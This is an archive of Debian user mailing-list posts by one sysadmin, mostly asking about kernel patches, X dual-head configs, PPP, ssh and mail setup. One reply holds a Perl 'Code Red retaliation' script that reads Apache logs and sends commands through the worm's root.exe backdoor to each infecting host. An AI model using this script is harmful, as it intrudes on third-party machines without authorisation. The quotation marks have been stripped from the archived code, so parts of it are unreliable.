Re: Kernel patching + compilation for Cobalt RAQ 500....
Hi Johnathan, I'm confused, are You trying to install a debain patch on a vanilla kernel or the other way round? I cannot find a cobalt patch with my woody package list, so it's not in the current stable distribution? Anyway, debian kernel packages are usually somehow patched and You might run into trouble, once You use a vanilla kernel source against a debian patch or the other way round. Switch both to debian packages (recommended) or the other way round. I'm using the testing distribution to compile the kernel upon. There is no Debian kernel source package for 2.4.23 so it's a vanilla unpatched kernel source, but the patch package only supports kernel 2.4.23?! I think I'll have to contact the patch maintainer... -Cheers Max. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Kernel patching + compilation for Cobalt RAQ 500....
Hi Folks, Has anyone recently built a kernel for the i386 based Cobalt RAQ500? I'm trying to get debian up and running on two of these units, and I really want to use a 'proper' debian package to install the kernel from. I've installed the 2.4.23 kernel source (no package available for this) and the kernel-patch-2.4-cobalt package. I tried running /usr/src/kernel-patches/all/apply whilst in /usr/src/linux-2.4.23 but that fails, so I tried manually applying /usr/src/kernel-patches/all/cobalt/cobalt-2.4.23.patch.gz after uncompressing it and it seems to apply fine apart from failing to patch one of the bluetooth drivers. The real problem occurs when I try to compile the kernel... ruler.c:50: error: syntax error before '*' token ruler.c:50: warning: type defaults to `int' in declaration of `busprocs' ruler.c:50: warning: data definition has no type or storage class ruler.c: In function `do_busproc': ruler.c:128: error: called object is not a function ruler.c: In function `cobalt_ruler_register': ruler.c:309: warning: assignment from incompatible pointer type ruler.c:310: warning: assignment from incompatible pointer type ruler.c: In function `cobalt_ruler_unregister': ruler.c:347: warning: assignment from incompatible pointer type then it dies :( Has anyone managed to compile with this patch? should I raise a bug report? -Cheers Max. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Big Sister, network monitor.....
Hi folks, I'm trying to get `big sister' working on Debian stable. I've aliened the RPM's to .deb's and installed OK, but now I'm having problems creating a display_map.cfg that works. All the images referenced are there and have read permissions. display_map.cfg: template/var/lib/bigsister/www/westberksmap.gif red /var/lib/bigsister/www/skins/static_lamps/red.gif yellow /var/lib/bigsister/www/skins/static_lamps/yellow.gif green /var/lib/bigsister/www/skins/static_lamps/green.gif purple /var/lib/bigsister/www/skins/static_lamps/purple.gif at 10,10 HUNGERFORD dump/var/lib/bigsister/www/map.gif Has anyone got big sister working on Debian in this way? are the paths that big sister expects somehow mangled? -Thanks Max. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Re: Stable - 2.4 kernel, best path?
Hi there, Very simple thanks to the Debian Developers, whom I regularly worship... 1, add the following to /etc/apt/sources.list: deb http://people.debian.org/~bunk/debian potato main 2, run apt-get update 3, run apt-get dist-upgrade 4, install your 2.4 kernel 5, scoff at how cool Debian is :) -Cheers Max. -- Max Lock, Senior Linux Systems Administrator, TELE2 Mission Control UK. Linux like wigwam. No windows, no gates, Apache inside.
Tinc VPN Config
Hi Folks, I'm trying to setup Tinc, the VPN software and need some help. I've got a 172.16.20.n masqueraded network and a 172.16.15.n masqueraded network I want to join, using a vpn. I looked at the example config on the tinc page, and I'm going nuts trying to make head or tail of it. Can someone supply a two network example configuration I can play with. -Thanks Max. -- Max Lock, Senior Linux Systems Administrator, TELE2 Mission Control UK. Linux like wigwam. No windows, no gates, Apache inside.
Re: FW: Careful. This is for information only.
So creating a fifo for apache to write its access log to and a script like this would be a faux pas then?... -Max #!/usr/bin/perl # # Script to retaliate against Code Red Attacks. # the author is not responsible for how you use this educational script. use Socket; $fifo = /var/log/apache/apache.fifo; $httplogfile = /var/log/apache/access.log; $wormlogfile = /var/log/apache/codered.log; # The command you want to run on the compromised machine. $win_command = ; # # Shouldn't need to do anything below here # open (FILE, .$fifo) or die cant open fifo; while (1){ while (FILE){ httplog; if ($_ =~ m/default.ida/){ $ip = ((split , $_)[0]); logit; if ($version = 2/3){ attack }; } } } # Will never get here close FILE; exit 0; sub httplog { # create normal http log open (HTTPLOG, .$httplogfile) or die cant open http logfile; print HTTPLOG $_; close HTTPLOG; } sub logit { # Log compromised machine open (LOGFILE, .$wormlogfile) or die cant open logfile; $date = ((split , $_)[3]); print LOGFILE $date, - ,$ip; if ($_ =~ m/XX/){ $version = 2/3 } if ($_ =~ m/NN/){ $version = 1 } else { $version = ? }; print LOGFILE v,$version,]\n; close LOGFILE; } sub attack { # Attack compromised machine local $proto = getprotobyname('tcp'); socket(osock, PF_INET, SOCK_STREAM, $proto); local $sin = sockaddr_in(80, inet_aton($ip)); connect(osock,$sin) or attack_failed; print osock GET /scripts/root.exe HTTP/1.0 \n; print osock $win_command,\n; close (osock); } sub attack_failed { # If Attack Fails open (LOGFILE, .$wormlogfile) or die cant open logfile; print LOGFILE $ip, - ATTACK FAILED\n; close LOGFILE; } -- Max Lock, Senior Linux Systems Administrator, TELE2 Mission Control UK. Linux like wigwam. No windows, no gates, Apache inside.
Re: Xfree 4.0.2 + mga + Dualhead config...
Allan M. Wind wrote: On 2001-03-22 17:03:34, Max Lock wrote: Thanks to Martin W?rtele for a copy of a valid XF86Config-4 file I was missing the screen entry in the device sections. Could I have a copy of your XF86Config-4 please? Hi Allan, No problem, I've attached Martin's as mine, contains some rather dodgy Modelines :) -Cheers Max. -- Max Lock, Linux Systems Administrator, TELE2 uk. Linux like wigwam. No windows, no gates, Apache inside.Section ServerLayout Identifier Configured by Martin Screen Screen 0 RightOf Screen 1 Screen Screen 1 InputDeviceMouse0 CorePointer InputDeviceKeyboard0 CoreKeyboard EndSection Section Files #FontPathunix/:7100# local font server # if the local font server has problems, we can fall back on these FontPath/usr/lib/X11/fonts/misc #FontPath/usr/lib/X11/fonts/cyrillic FontPath/usr/lib/X11/fonts/100dpi/:unscaled FontPath/usr/lib/X11/fonts/75dpi/:unscaled FontPath/usr/lib/X11/fonts/Type1 FontPath/usr/lib/X11/fonts/Speedo FontPath/usr/lib/X11/fonts/100dpi FontPath/usr/lib/X11/fonts/75dpi FontPath /usr/X11R6/lib/X11/fonts/freefont/ FontPath /usr/X11R6/lib/X11/fonts/sharefont/ EndSection Section Module Loadddc LoadGLcore Loaddbe #Loaddri Loadextmod Loadglx #Loadpex5 Loadrecord Loadxie Loadbitmap Loadfreetype Loadspeedo Loadtype1 Loadvbe Loadint10 EndSection Section InputDevice Identifier Keyboard0 Driver keyboard Option AutoRepeat 500 30 Option XkbRules xfree86 Option XkbKeymap xfree86(de) Option XkbModel pc102 Option XkbLayout de EndSection Section InputDevice Identifier Mouse0 Driver mouse Option Protocol IMPS/2 Option Device /dev/psaux Option Buttons 5 Option ZAxisMapping 4 5 EndSection Section Monitor Identifier Monitor0 VendorName Iiyama ModelNameVision Master Pro 510 HorizSync30-130 VertRefresh 60-160 #Option DPMS # 75 Hz #ModeLine 1856x1392 288.00 1856 1984 2208 2560 1392 1393 1396 1500 -hsync +vsync # 75 Hz #ModeLine 1792x1344 261.00 1792 1888 2104 2456 1344 1345 1348 1417 -hsync +vsync # 85 Hz ModeLine 1792x1344 295.80 1792 1888 2104 2456 1344 1345 1348 1417 -hsync +vsync # 85 Hz ModeLine 1600x1200 229.50 1600 1664 1856 2160 1200 1201 1204 1250 +hsync +vsync EndSection Section Monitor Identifier Monitor1 VendorName Targa ModelNameTM 4217 ONLD HorizSync30-65 VertRefresh 50-120 #Option DPMS #ModeLine 1024x76878.80 1024 1040 1136 1312 768 769 772 800 +hsync +vsync #ModeLine 1024x76880 1024 1048 1128 1304 768 783 792 807 +hsync +vsync ModeLine 1024x76884.99 1024 1040 1216 1328 768 768 778 802 +hsync +vsync EndSection Section Device ### Available Driver options are:- #Option SWcursor #Option HWcursor #Option PciRetry #Option SyncOnGreen #Option NoAccel #Option ShowCache #Option Overlay #Option MGASDRAM #Option ShadowFB #Option UseFBDev #Option ColorKey #Option SetMclk #Option OverclockMem #Option VideoKey #Option Rotate #Option TexturedVideo #Option XAALines #Option Crtc2Half #Option Int10 #Option DigitalScreen #Option TV #Option TVStandard #Option CableType Identifier Card0 Driver mga VendorName Matrox BoardName MGA G400DH AGP BusID PCI:1:5:0 Screen 0 EndSection Section Device Identifier Card1 Driver mga VendorName Matrox BoardName MGA G400DH AGP BusID PCI:1:5:0 Screen 1 EndSection Section Screen Identifier Screen 0 Device Card0 MonitorMonitor0 SubSection Display Depth 1 Modes 1792x1344 1600x1200 1280x960 1152x864 1024x768 800x600 640x480 EndSubSection SubSection Display Depth 4 Modes 1792x1344 1600x1200 1280x960 1152x864 1024x768 800x600 640x480 EndSubSection SubSection Display Depth 8
Re: Xfree 4.0.2 + mga + Dualhead config...
It's Fixed! Thanks to Martin Würtele for a copy of a valid XF86Config-4 file I was missing the screen entry in the device sections. (I'm now playing dual-head yippee!) -Thanks Max -- Max Lock, Linux Systems Administrator, TELE2 uk. Linux like wigwam. No windows, no gates, Apache inside.
Xfree 4.0.2 + mga + Dualhead config...
Hi folks, Can anyone post me a working X4.0.2 XF86Config file, I've put mine below, trouble is, I can't get the second head recognised. In the server startup messages the first head initialises just fine then no mention of the second head. The card is a Matrox G400 Max. -Cheers Max -- Max Lock, Linux Systems Administrator, TELE2 uk. Linux like wigwam. No windows, no gates, Apache inside.# XF86Config-4 (XFree86 server configuration file) generated by Dexconf, the # Debian X Configuration tool, using values from the debconf database. # # Edit this file with caution, and see the XF86Config manual page. # (Type man XF86Config at the shell prompt.) Section Files FontPathunix/:7100# local font server # if the local font server has problems, we can fall back on these FontPath/usr/lib/X11/fonts/misc FontPath/usr/lib/X11/fonts/cyrillic FontPath/usr/lib/X11/fonts/100dpi/:unscaled FontPath/usr/lib/X11/fonts/75dpi/:unscaled FontPath/usr/lib/X11/fonts/Type1 FontPath/usr/lib/X11/fonts/Speedo FontPath/usr/lib/X11/fonts/100dpi FontPath/usr/lib/X11/fonts/75dpi EndSection Section ServerFlags Option Xinerama 1 EndSection Section Module Loadddc LoadGLcore Loaddbe Loaddri Loadextmod Loadglx Loadpex5 Loadrecord Loadxie Loadbitmap Loadfreetype Loadspeedo Loadtype1 Loadvbe Loadint10 EndSection Section InputDevice Identifier Generic Keyboard Driver keyboard Option CoreKeyboard Option XkbRules xfree86 Option XkbModel pc104 Option XkbLayout uk EndSection Section InputDevice Identifier Generic Mouse Driver mouse Option CorePointer Option Device/dev/psaux Option Protocol imps/2 EndSection Section Device Identifier MGA BusID PCI:1:0:0 Driver mga Option AGPMode 1 Option TexturedVideo 1 Option OverclockMem EndSection Section Device Identifier MGA_2 BusID PCI:1:0:0 Driver mga Option AGPMode 1 EndSection Section Monitor Identifier Dell HorizSync 0-1000 VertRefresh 0-1000 Option DPMS EndSection Section Monitor Identifier Panasonic HorizSync 31.5 VertRefresh 50-90 EndSection Section Screen Identifier Dell Device MGA Monitor Dell DefaultDepth16 # DefaultDepth24 # DefaultFbBpp32 SubSection Display Depth 16 Modes 1920x1440 1280x1024 1024x768 800x600 640x480 EndSubSection SubSection Display Depth 24 Modes 1920x1440 1280x1024 1024x768 800x600 640x480 Viewport0 0 EndSubSection EndSection Section Screen Identifier Panasonic Device MGA_2 Monitor Panasonic DefaultDepth16 # DefaultFbBpp32 SubSection Display Depth 16 Modes 1024x768 800x600 640x480 EndSubSection SubSection Display Depth 24 Modes 1024x768 800x600 640x480 Viewport0 0 EndSubSection EndSection Section ServerLayout Identifier Default Layout Screen Dell Screen Panasonic RightOf Dell InputDevice Generic Keyboard InputDevice Generic Mouse EndSection Section DRI Mode0666 EndSection # end of XF86Config
rawio?...
Hi Folks, Has anyone got any pointers on setting up raw IO under 2.2r2? I can't find the raw command, apparantly it's missing from util-linux package. Anyone know where I can pick it up, and whether 2.4.1/2 needs patching at all?.. -thanks Max. -- Max Lock, Linux Systems Administrator, TELE2 uk. Linux like wigwam. No windows, no gates, Apache inside.
Mbox mailbox -- postfix?...
Hi folks, I've got an mbox format mailbox file, which I want to reprocess through postfix. Does anyone know of a lump of perl etc. that's already been written that'll split-up and create the necessary mail files that I can dump into postfix's incoming mail dir? Long shot I know, I've got 211Mb of mail to get thru!! :) -Max -- Max Lock, Linux Systems Administrator, TELE2 uk. http://3558031516 Linux like wigwam. No windows, no gates, Apache inside.
Re: Mbox mailbox -- postfix?...
-- MaD dUCK wrote: I've got an mbox format mailbox file, which I want to reprocess through postfix. Does anyone know of a lump of perl etc. that's already been written that'll split-up and create the necessary mail files that I can dump into postfix's incoming mail dir? run something like formail -s sendmail [EMAIL PROTECTED] mailbox this will send it all to localhost port 25 and postfix will process it. not quite, that'll send the file to one person, I need to pull each mail from out of the mbox file, and send it to the `to' address in the mail. -Ta Max. Max Lock, Linux Systems Administrator, TELE2 uk. http://3558031516 Linux like wigwam. No windows, no gates, Apache inside.
Piranha at all?
Has anyone tried getting Piranha clustering up and running on Debian at all?... -Cheers Max -- Max Lock, Linux Systems Administrator, TELE2 uk. http://3558031516 Linux like wigwam. No windows, no gates, Apache inside.
Redhat's piranha, on Debian?..
Hi folks, Just wondering if anyone's aliened piranha over to debian and got a failover cluster running OK and wants to swap notes? I seem to be getting seg faults with pulse under 2.2_r2 kernel 2.2.18 with the lvs patch (not needed really) -Cheers Max -- Max Lock, Linux Systems Administrator, TELE2 uk. http://3558031516 Linux like wigwam. No windows, no gates, Apache inside.
Re: ssh woes!?...
Philipp Schulte wrote: root is not able to login from a remote host by default. You can change this in /etc/pam.d/login thanks Phil, I don't think I made myself clear, I perform scp [EMAIL PROTECTED]:/dir/file . when logged in as root, and it fails. When I'm logged in as a plain ol user it works. I'm ssh'ing as a user not root. -Cheers Max. -- Max Lock, Linux Systems Administrator, TELE2 uk. http://3558031516 Linux like wigwam. No windows, no gates, Apache inside.
ssh woes!?...
Hi folks, I've got a weird ssh problem. I'm running 2.2r0 and when I ssh as root to another 2.2r0 system, I get as far as debug: Allocated local port 607 with the -v option, and it then hangs and timesout? But the kicker is if I ssh as a non-root user, it works!? I've copied the known_hosts file etc and set it's perms, but with no luck. Anyone got any ideas or hit this one before? no answers on Deja. -Thanks Max -- Max Lock, Linux Systems Administrator, TELE2 uk. http://3558031516 Linux like wigwam. No windows, no gates, Apache inside.
NIS and Qpopper?...
Hi folks, Has anyone managed to get Qpopper to authenticate using NIS?! I've installed both binary packages from the stable archives. NIS works fine and I can ypcat the passwd file. BUT when I telnet to port 110 it tells me my passwd is incorrect, I have another working qpopper based mail server running from the same NIS server, and that authenticates with the same passwd just fine? Theres NOTHING about NIS on the qpopper home page?! -Thanks for any advice, Max -- Max Lock, System Administrator, TELE2 uk. http://3558031516 Quidquid Latine dictum sit, altum viditur. That which is said in Latin, sounds profound.
IPAliasing restrictions?...
Folks, Jut a quickie, I'm using kernel 2.2.17 and I want to alias a 10.n.n.n network address to an interface with a primary ip of 212.19.n.n Is this possible or can I only alias an address that's in the same or a sub-net of the primary ip? -Thanks Max. -- Max Lock, System Administrator, TELE2 uk.
Serial port tunnel...
Hi folks, I'm sure I saw some software that will tunnel a serial port over IP and make it appear as a local device on a remote machine. Does anyone have any ideas where it may be located. I've been through freshmeat and there's software to forward to an IP socket, by not a device file. -Cheers Max. -- Max Lock, System Administrator, TELE2 uk.
Re: Serial port tunnel...
Robert Waldner wrote: I guess you want to tunnel layer 2, not the serial port itself ;-) Nope, I really want to tunnel the port, I want to have /dev/virtual-ttyS1 and be able to open that device and read/write to it. then have that data tunneled across a network to the real /dev/ttyS1 on the remote machine. -Max -- Max Lock, System Administrator, TELE2 uk.
X-Strike-Force page?...
Anyone know what's happened to the X strike force page? http://www.debian.org/~branden/ -Cheers Max.
xmkmf??
Hi Folks, Does anyone know the location of xmkmf? a deb source, anything?! -Thanks Max. -- Max Lock, System Administrator, TELE2 uk.
Re: xmkmf??
Michal F. Hanula wrote: On Mon, Sep 25, 2000 at 01:04:31PM +0100, Max Lock wrote: Hi Folks, Does anyone know the location of xmkmf? a deb source, anything?! xlib6g-dev.deb /usr/X11/bin/xmkmf Thanks!!! -Max :) -- Max Lock, System Administrator, TELE2 uk.
Re: DNS + SQL?...
Will Trillich wrote: of course, you know that the D stands not only for DOMAIN but for DYNAMIC, right? if you cache every domain name you run across, next week at least SOME will be out-of-date... True, but the system in this case is going to be the primary for about 600 domains, and growing!! we're an ISP :) we also second for about 20-30 domains, so as you can imagine, maintaining the beast is some task. -Cheers Max. -- Max Lock, System Administrator, TELE2 uk.
DNS + SQL?...
Hi Folks, I'm interested in setting up a DNS server which will store _all_ of it's information in an SQL database of some kind. Are there any good references/code for doing this that anyone knows of?... There's a bind 8 patch on Freashmeat, but it's not supported/developed anymore, and I don't believe it can handle being a secondary server? -TIA Max. -- Max Lock, System Administrator, TELE2 uk.
PPP problem, ppp8?!?
Hi folks, I'm trying to configure pppd version 2.3.11-1.4 as per release 2.2-r0. I call pppd using the command `pppd -detach /dev/ttyS1 9600' my config files look like the following /etc/ppp/options: 10.1.60.1:10.1.60.2 asyncmap auth lock name 1313 debug /etc/ppp/pap-secrets: 1313 * 1313 * /etc/ppp/ip-up: #!/bin/sh /sbin/route add -net 10.1.0.0 10.1.60.2 /var/log/messages: pppd 2.3.11 started by root, UID 0 Using interface ppp8 --- shouldn't this be ppp0 Connect: ppp8 -- /dev/ttyS1 modprobe: Can't locate module ppp8 ioctl(SIOCSIFMTU): No such device(19) tcflush failed: Input/output error Exit. Has anyone hit this problem before? my ppp support is compiled into kernel 2.2.17 as a module. -Cheers Max -- Max Lock, System Administrator, TELE2 uk.
Re: PPP problem, ppp8?!?
Eric G . Miller wrote: Ignore the PPP-HOWTO and just use pppconfig to configure ppp. The use pon/poff to start/stop the service. Can you really only get 9600 baud? Well I'm talking to a very sophisticated piece of radio gear that has a control/monitoring system that uses ppp. I'm building a bridge machine that will forward the packets from the radios, based at remote sites, over our network back to a central point. Using things like pppconfig obfusicates the issue IMHO. :) -Cheers Max. /var/log/messages: pppd 2.3.11 started by root, UID 0 Using interface ppp8 --- shouldn't this be ppp0 Connect: ppp8 -- /dev/ttyS1 modprobe: Can't locate module ppp8 ioctl(SIOCSIFMTU): No such device(19) tcflush failed: Input/output error Exit. Has anyone hit this problem before? my ppp support is compiled into kernel 2.2.17 as a module. -- Max Lock, System Administrator, TELE2 uk.